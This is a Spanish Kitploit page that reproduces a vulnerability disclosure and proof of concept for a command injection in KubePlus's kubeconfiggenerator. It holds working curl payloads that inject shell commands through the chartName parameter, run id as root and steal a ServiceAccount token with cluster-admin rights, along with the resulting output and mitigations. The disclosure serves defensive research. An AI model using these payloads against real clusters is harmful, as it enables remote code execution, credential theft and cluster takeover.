Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-29955 — Prueba de concepto para CVE-2026-29955, una vulnerabilidad de inyección de comandos en KubePlus kubeconfiggenerator que permite la ejecución remota de código y el robo de tokens de ServiceAccount en clústeres de Kubernetes. | Kitploit
Herramientas/GitHubGitHub/b0b0haha/cve-2026-29955
Seguridad de ContenedoresAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónSeguridad en la Nube
GitHubb0b0haha/cve-2026-29955

CVE-2026-29955

Prueba de concepto para CVE-2026-29955, una vulnerabilidad de inyección de comandos en KubePlus kubeconfiggenerator que permite la ejecución remota de código y el robo de tokens de ServiceAccount en clústeres de Kubernetes.

Ver Repositorio
hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Vulnerabilidad de Inyección de Comandos en KubePlus KubeconfigGenerator

Esta vulnerabilidad existe en el componente kubeconfiggenerator de KubePlus, permitiendo a atacantes con acceso a la interfaz HTTP inyectar comandos de shell a través del parámetro chartName, ejecutar código arbitrario como root dentro del contenedor y robar Tokens de ServiceAccount con privilegios de cluster-admin. Clasificación CWE recomendada: CWE-78 (Inyección de Comandos del Sistema Operativo).

Resumen

El endpoint /registercrd en el componente kubeconfiggenerator de KubePlus es vulnerable a la inyección de comandos. El componente utiliza subprocess.Popen() con el parámetro shell=True para ejecutar comandos de shell, y el parámetro chartName proporcionado por el usuario se concatena directamente en la cadena de comandos sin ningún tipo de saneamiento o validación. Un atacante puede inyectar comandos de shell arbitrarios manipulando un valor malicioso en el parámetro chartName.

Detalles

Causa Raíz

Al procesar solicitudes de registro de CRD, el componente kubeconfiggenerator descarga y extrae Helm Charts. En la función download_and_untar_chart(), el parámetro chartName se concatena directamente en los comandos de shell:

Archivo: deploy/kubeconfiggenerator.py:60-69

root@kitploit:~
def run_command(cmd):
    print(cmd)
    cmdOut = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).communicate()
    out = cmdOut[0].decode('utf-8')
    err = cmdOut[1].decode('utf-8')
    return out, err

Archivo: deploy/kubeconfiggenerator.py:554

root@kitploit:~
wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
out, err = run_command(wget)

Archivo: deploy/kubeconfiggenerator.py:562

root@kitploit:~
cmd = "rm -rf /" + chartName
out, err = run_command(cmd)

Debido al parámetro shell=True, los atacantes pueden usar la sintaxis de sustitución de comandos de shell $(command) para inyectar comandos arbitrarios.

Vector de Ataque

Al enviar una solicitud HTTP al endpoint /registercrd con un parámetro chartName malicioso, un atacante puede ejecutar comandos arbitrarios dentro del contenedor kubeconfiggenerator. Dado que el contenedor se ejecuta como root y su ServiceAccount tiene privilegios de cluster-admin, el atacante puede:

  1. Ejecutar comandos arbitrarios del sistema
  2. Leer archivos sensibles dentro del contenedor
  3. Robar Tokens de ServiceAccount
  4. Usar los Tokens robados para acceder a la API de Kubernetes

PoC

Configuración del Entorno

1. Crear un Cluster Kind

root@kitploit:~
# Crear la configuración del cluster Kind
cat > kind-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: kubeplus-test
nodes:
  - role: control-plane
EOF

# Crear el cluster
kind create cluster --config kind-config.yaml

# Verificar el cluster
kubectl cluster-info
kubectl get nodes

Salida esperada:

root@kitploit:~
Kubernetes control plane is running at https://127.0.0.1:xxxxx
CoreDNS is running at https://127.0.0.1:xxxxx/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy

NAME                          STATUS   ROLES           AGE   VERSION
kubeplus-test-control-plane   Ready    control-plane   1m    v1.27.3

2. Instalar KubePlus

root@kitploit:~
# Crear el directorio de trabajo
mkdir -p /tmp/kubeplus-poc && cd /tmp/kubeplus-poc

# Descargar los plugins de KubePlus
wget https://github.com/cloud-ark/kubeplus/releases/download/kubeplus-kubectl-plugins-v4.1.4/kubeplus-kubectl-plugins-v4.1.4.tar.gz
tar -xzf kubeplus-kubectl-plugins-v4.1.4.tar.gz

# Descargar el script provider-kubeconfig
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/requirements.txt
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/provider-kubeconfig.py

# Configurar el entorno de Python
python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt
pip3 install PyYAML kubernetes

# Obtener la dirección del servidor API
apiserver=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')

# Crear el kubeconfig del proveedor
python3 provider-kubeconfig.py -s $apiserver create default

Salida esperada:

root@kitploit:~
Provider kubeconfig created: kubeplus-saas-provider.json

3. Instalar KubePlus mediante Helm

root@kitploit:~
# Descargar el Helm chart de KubePlus
curl -sL "https://github.com/cloud-ark/operatorcharts/raw/master/kubeplus-chart-4.2.0.tgz" -o kubeplus-chart.tgz

# Instalar KubePlus
helm install kubeplus kubeplus-chart.tgz --kubeconfig=kubeplus-saas-provider.json -n default

# Esperar a que los pods estén listos
kubectl wait --for=condition=Ready pod -l app=kubeplus -n default --timeout=180s

# Verificar la instalación
kubectl get pods -n default -l app=kubeplus

Salida esperada:

root@kitploit:~
NAME                                   READY   STATUS    RESTARTS   AGE
kubeplus-deployment-57dbf6f8b9-xxxxx   5/5     Running   0          2m

4. Configurar el Reenvío de Puertos

root@kitploit:~
# Obtener el nombre del pod
export WEBHOOK_POD=$(kubectl get pods -n default -l app=kubeplus -o jsonpath='{.items[0].metadata.name}')

# Configurar el reenvío de puertos
kubectl port-forward svc/kubeconfighelper -n default 5005:91 &

# Verificar que el servicio es accesible
curl -s http://localhost:5005/hello

Salida esperada:

root@kitploit:~
hello world

Pasos de Explotación

Paso 1: Ejecutar Inyección de Comandos (comando id)

Enviar una solicitud con un parámetro chartName malicioso:

root@kitploit:~
curl -s 'http://localhost:5005/registercrd?kind=Test&version=v1&group=test.io&plural=tests&chartURL=https://example.com/test.tgz&chartName=$(id>/tmp/pwned.txt)'

Paso 2: Verificar la Ejecución del Comando

root@kitploit:~
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/pwned.txt

Salida de verificación real:

root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)

Paso 3: Robar el Token de ServiceAccount

root@kitploit:~
curl -s 'http://localhost:5005/registercrd?kind=Test2&version=v1&group=test2.io&plural=test2s&chartURL=https://example.com/test.tgz&chartName=$(cat%20/var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)'

Paso 4: Extraer el Token Robado

root@kitploit:~
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt

Salida de verificación real:

root@kitploit:~
eyJhbGciOiJSUzI1NiIsImtpZCI6Iklua3NNSkdubUtOcnZycUZkMGlJTE5meV9jVk85WFQxZ2dBZjVtOFJ0VncifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxODAxNDg5MjYyLCJpYXQiOjE3Njk5NTMyNjIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJrdWJlcGx1cy1kZXBsb3ltZW50LTU3ZGJmNmY4YjktcHh2YzUiLCJ1aWQiOiI4ZjBmNDQ0NS1mZTQ0LTQxMjUtYjEwMi03YzQzZDkyMjEyMmYifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6Imt1YmVwbHVzLXNhYXMtcHJvdmlkZXIiLCJ1aWQiOiJlZjljYjFmZi03NWI1LTRmZmMtYjdjMS01Yjc3NjhjNWFiYzQifSwid2FybmFmdGVyIjoxNzY5OTU2ODY5fSwibmJmIjoxNzY5OTUzMjYyLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDprdWJlcGx1cy1zYWFzLXByb3ZpZGVyIn0...

Paso 5: Verificar los Permisos del Token

root@kitploit:~
STOLEN_TOKEN=$(kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt)
kubectl auth can-i --list --token="$STOLEN_TOKEN"

Salida de verificación real:

root@kitploit:~
Resources                                       Non-Resource URLs   Resource Names   Verbs
*.*                                             []                  []               [*]
                                                [*]                 []               [*]
selfsubjectreviews.authentication.k8s.io        []                  []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                  []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                  []               [create]

Evidencia de Registros del Lado del Servidor

Los registros del contenedor kubeconfiggenerator muestran la inyección de comandos ejecutándose:

root@kitploit:~
[01/Feb/2026 13:49:32] Inside registercrd
kind:Test
version:v1
group:test.io
plural:tests
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(id>/tmp/pwned2.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(id>/tmp/pwned2.txt)
root@kitploit:~
[01/Feb/2026 13:49:56] Inside registercrd
kind:Test2
version:v1
group:test2.io
plural:test2s
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)

Impacto

Esta vulnerabilidad permite a un atacante:

  1. Ejecución Remota de Código: Ejecutar comandos arbitrarios como root dentro del contenedor kubeconfiggenerator
  2. Robo de Credenciales: Robar Tokens de ServiceAccount con privilegios de cluster-admin (*.*)
  3. Toma de Control del Cluster: Usar los Tokens robados para realizar cualquier operación de la API de Kubernetes, incluyendo crear/eliminar Pods, leer Secrets, modificar configuraciones de RBAC, etc.
  4. Movimiento Lateral: Acceder a recursos en cualquier namespace dentro del cluster

Prerrequisitos

  • El atacante necesita acceso a la interfaz HTTP del servicio kubeconfighelper (puerto 5005)
  • El servicio es accesible dentro del cluster por defecto

Severidad

Puntuación CVSS v3.1: 8.8 (Alta)

Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

  • Vector de Ataque (AV): Red
  • Complejidad de Ataque (AC): Baja
  • Privilegios Requeridos (PR): Bajos (requiere acceso al servicio kubeconfighelper)
  • Interacción del Usuario (UI): Ninguna
  • Alcance (S): Sin cambios
  • Confidencialidad (C): Alta (puede robar el Token de ServiceAccount)
  • Integridad (I): Alta (puede ejecutar comandos arbitrarios)
  • Disponibilidad (A): Alta (puede afectar la disponibilidad del servicio)

Versiones Afectadas

  • KubePlus v4.2.0 y versiones anteriores
  • Todas las versiones que usan shell=True para la ejecución de comandos

Versiones Parcheadas

Aún no hay una versión parcheada disponible.

Mitigaciones

  1. Aislamiento de Red: Usar NetworkPolicy para restringir el acceso al servicio kubeconfighelper
  2. Restricción de RBAC: Reducir los privilegios del ServiceAccount kubeplus-saas-provider
  3. Monitoreo: Monitorear la ejecución anómala de comandos en el contenedor kubeconfiggenerator
root@kitploit:~
# Ejemplo de NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: restrict-kubeconfighelper
  namespace: default
spec:
  podSelector:
    matchLabels:
      app: kubeplus
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          trusted: "true"
    ports:
    - protocol: TCP
      port: 5005

Referencias

  • CWE-78: Neutralización Incorrecta de Elementos Especiales usados en un Comando del SO ('Inyección de Comandos del SO')
  • Inyección de Comandos OWASP: https://owasp.org/www-community/attacks/Command_Injection
  • Seguridad de subprocess de Python: https://docs.python.org/3/library/subprocess.html#security-considerations
  • Kubeplus: https://github.com/cloud-ark/kubeplus

Créditos

@b0b0haha ([email protected]) @lixingquzhi ([email protected])

Descargar herramienta